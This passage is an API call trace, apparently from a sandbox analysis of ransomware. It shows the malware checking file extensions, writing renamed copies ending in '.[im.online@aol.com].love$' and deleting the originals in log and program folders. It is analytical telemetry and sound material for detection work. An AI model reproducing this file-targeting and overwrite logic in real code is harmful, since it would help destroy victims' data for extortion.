Security%4ConnectionSecurity.evtx") returned 90 [0227.575] lstrlenW (lpString=".doc") returned 4 [0227.575] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.575] lstrlenW (lpString=".docx") returned 5 [0227.575] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.575] lstrlenW (lpString=".pdf") returned 4 [0227.575] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.575] lstrlenW (lpString=".xls") returned 4 [0227.575] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.575] lstrlenW (lpString=".xlsx") returned 5 [0227.575] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.575] lstrlenW (lpString=".ppt") returned 4 [0227.575] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.575] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.575] lstrlenW (lpString=".zip") returned 4 [0227.575] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.575] lstrlenW (lpString=".rar") returned 4 [0227.575] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.575] lstrlenW (lpString=".bz2") returned 4 [0227.576] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.576] lstrlenW (lpString=".7z") returned 3 [0227.576] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.576] lstrlenW (lpString=".dbf") returned 4 [0227.576] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.576] lstrlenW (lpString=".1cd") returned 4 [0227.576] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.576] lstrlenW (lpString=".jpg") returned 4 [0227.576] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.576] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.576] lstrlenW (lpString=".doc") returned 4 [0227.576] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.576] lstrlenW (lpString=".docx") returned 5 [0227.576] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.576] lstrlenW (lpString=".pdf") returned 4 [0227.576] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.576] lstrlenW (lpString=".xls") returned 4 [0227.577] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.577] lstrlenW (lpString=".xlsx") returned 5 [0227.577] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.577] lstrlenW (lpString=".ppt") returned 4 [0227.577] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.577] lstrlenW (lpString=".zip") returned 4 [0227.577] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.577] lstrlenW (lpString=".rar") returned 4 [0227.577] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.577] lstrlenW (lpString=".bz2") returned 4 [0227.577] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.577] lstrlenW (lpString=".7z") returned 3 [0227.577] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.577] lstrlenW (lpString=".dbf") returned 4 [0227.577] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.577] lstrlenW (lpString=".1cd") returned 4 [0227.577] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0227.577] lstrlenW (lpString=".jpg") returned 4 [0227.577] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.578] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.578] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0227.578] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0227.611] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=1052672) returned 1 [0227.611] CloseHandle (hObject=0x3bc) returned 1 [0227.611] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0227.611] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.611] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0227.612] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.612] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0227.612] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0227.612] GetLastError () returned 0x0 [0227.612] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xffff0, lpOverlapped=0x0) returned 1 [0227.975] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xffff0, lpOverlapped=0x0) returned 1 [0227.999] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x1010, lpOverlapped=0x0) returned 1 [0228.010] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x1020, lpOverlapped=0x0) returned 1 [0228.257] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0228.258] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x134, lpOverlapped=0x0) returned 1 [0228.258] SetEndOfFile (hFile=0x44c) returned 1 [0228.393] CloseHandle (hObject=0x44c) returned 1 [0228.698] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0228.698] SetEndOfFile (hFile=0x3bc) returned 1 [0228.700] CloseHandle (hObject=0x3bc) returned 1 [0228.700] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0228.700] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0228.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.701] lstrlenW (lpString=".doc") returned 4 [0228.701] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0228.701] lstrlenW (lpString=".docx") returned 5 [0228.701] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0228.701] lstrlenW (lpString=".pdf") returned 4 [0228.701] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0228.701] lstrlenW (lpString=".xls") returned 4 [0228.701] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0228.701] lstrlenW (lpString=".xlsx") returned 5 [0228.701] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0228.701] lstrlenW (lpString=".ppt") returned 4 [0228.701] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0228.701] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.701] lstrlenW (lpString=".zip") returned 4 [0228.701] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString=".rar") returned 4 [0228.702] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString=".bz2") returned 4 [0228.702] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString=".7z") returned 3 [0228.702] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0228.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.702] lstrlenW (lpString=".dbf") returned 4 [0228.702] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.702] lstrlenW (lpString=".1cd") returned 4 [0228.702] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.702] lstrlenW (lpString=".jpg") returned 4 [0228.702] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.702] lstrlenW (lpString=".doc") returned 4 [0228.702] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString=".docx") returned 5 [0228.702] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0228.702] lstrlenW (lpString=".pdf") returned 4 [0228.702] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0228.702] lstrlenW (lpString=".xls") returned 4 [0228.702] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0228.703] lstrlenW (lpString=".xlsx") returned 5 [0228.703] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0228.703] lstrlenW (lpString=".ppt") returned 4 [0228.703] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0228.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.703] lstrlenW (lpString=".zip") returned 4 [0228.703] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0228.703] lstrlenW (lpString=".rar") returned 4 [0228.703] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0228.703] lstrlenW (lpString=".bz2") returned 4 [0228.703] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0228.703] lstrlenW (lpString=".7z") returned 3 [0228.703] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0228.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.703] lstrlenW (lpString=".dbf") returned 4 [0228.703] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0228.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.703] lstrlenW (lpString=".1cd") returned 4 [0228.703] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0228.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0228.703] lstrlenW (lpString=".jpg") returned 4 [0228.703] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0228.704] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0228.704] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0228.704] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0228.704] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=69632) returned 1 [0228.704] CloseHandle (hObject=0x3bc) returned 1 [0228.704] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0228.705] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.705] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0228.705] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0228.705] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0228.705] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0228.705] GetLastError () returned 0x0 [0228.705] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x11000, lpOverlapped=0x0) returned 1 [0228.710] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11010, lpOverlapped=0x0) returned 1 [0228.713] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0228.714] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x102, lpOverlapped=0x0) returned 1 [0228.714] SetEndOfFile (hFile=0x44c) returned 1 [0228.714] CloseHandle (hObject=0x44c) returned 1 [0228.722] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0228.722] SetEndOfFile (hFile=0x3bc) returned 1 [0228.723] CloseHandle (hObject=0x3bc) returned 1 [0228.724] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0228.724] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0228.724] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.724] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.724] lstrlenW (lpString=".doc") returned 4 [0228.724] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString=".docx") returned 5 [0228.725] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0228.725] lstrlenW (lpString=".pdf") returned 4 [0228.725] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString=".xls") returned 4 [0228.725] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString=".xlsx") returned 5 [0228.725] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0228.725] lstrlenW (lpString=".ppt") returned 4 [0228.725] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.725] lstrlenW (lpString=".zip") returned 4 [0228.725] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString=".rar") returned 4 [0228.725] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString=".bz2") returned 4 [0228.725] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString=".7z") returned 3 [0228.725] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0228.725] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.725] lstrlenW (lpString=".dbf") returned 4 [0228.725] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.725] lstrlenW (lpString=".1cd") returned 4 [0228.725] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0228.725] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.725] lstrlenW (lpString=".jpg") returned 4 [0228.726] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0228.726] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.726] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.726] lstrlenW (lpString=".doc") returned 4 [0228.726] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0228.726] lstrlenW (lpString=".docx") returned 5 [0228.726] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0228.726] lstrlenW (lpString=".pdf") returned 4 [0228.726] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0228.726] lstrlenW (lpString=".xls") returned 4 [0228.726] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0228.726] lstrlenW (lpString=".xlsx") returned 5 [0228.726] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0228.726] lstrlenW (lpString=".ppt") returned 4 [0228.726] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0228.726] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.726] lstrlenW (lpString=".zip") returned 4 [0228.726] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0228.727] lstrlenW (lpString=".rar") returned 4 [0228.727] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0228.727] lstrlenW (lpString=".bz2") returned 4 [0228.727] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0228.727] lstrlenW (lpString=".7z") returned 3 [0228.727] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0228.727] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.727] lstrlenW (lpString=".dbf") returned 4 [0228.727] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0228.727] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.727] lstrlenW (lpString=".1cd") returned 4 [0228.727] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0228.727] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0228.727] lstrlenW (lpString=".jpg") returned 4 [0228.727] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0228.727] lstrcmpiW (lpString1=".sys", lpString2=".love$") returned 1 [0228.727] lstrlenW (lpString="pagefile.sys") returned 12 [0228.727] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.728] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.728] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.728] lstrlenW (lpString=".doc") returned 4 [0228.728] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0228.728] lstrlenW (lpString=".docx") returned 5 [0228.728] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0228.728] lstrlenW (lpString=".pdf") returned 4 [0228.728] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0228.728] lstrlenW (lpString=".xls") returned 4 [0228.728] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0228.728] lstrlenW (lpString=".xlsx") returned 5 [0228.728] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0228.728] lstrlenW (lpString=".ppt") returned 4 [0228.728] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0228.728] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.729] lstrlenW (lpString=".zip") returned 4 [0228.729] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0228.729] lstrlenW (lpString=".rar") returned 4 [0228.729] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0228.729] lstrlenW (lpString=".bz2") returned 4 [0228.729] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0228.729] lstrlenW (lpString=".7z") returned 3 [0228.729] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0228.729] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.729] lstrlenW (lpString=".dbf") returned 4 [0228.729] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0228.729] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.729] lstrlenW (lpString=".1cd") returned 4 [0228.729] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0228.729] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.729] lstrlenW (lpString=".jpg") returned 4 [0228.729] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0228.729] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.729] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.729] lstrlenW (lpString=".doc") returned 4 [0228.729] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0228.729] lstrlenW (lpString=".docx") returned 5 [0228.729] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0228.729] lstrlenW (lpString=".pdf") returned 4 [0228.730] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0228.730] lstrlenW (lpString=".xls") returned 4 [0228.730] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0228.730] lstrlenW (lpString=".xlsx") returned 5 [0228.730] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0228.730] lstrlenW (lpString=".ppt") returned 4 [0228.730] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0228.730] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.730] lstrlenW (lpString=".zip") returned 4 [0228.730] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0228.730] lstrlenW (lpString=".rar") returned 4 [0228.730] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0228.730] lstrlenW (lpString=".bz2") returned 4 [0228.730] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0228.730] lstrlenW (lpString=".7z") returned 3 [0228.730] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0228.730] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.730] lstrlenW (lpString=".dbf") returned 4 [0228.730] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0228.730] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.730] lstrlenW (lpString=".1cd") returned 4 [0228.730] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0228.730] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0228.730] lstrlenW (lpString=".jpg") returned 4 [0228.730] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0228.731] lstrcmpiW (lpString1=".OLB", lpString2=".love$") returned 1 [0228.731] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0228.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0228.886] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=15984) returned 1 [0228.886] CloseHandle (hObject=0x42c) returned 1 [0228.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0228.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0229.249] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0229.249] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0229.249] CreateFileW (lpFileName="C:\\Program Files\\Common 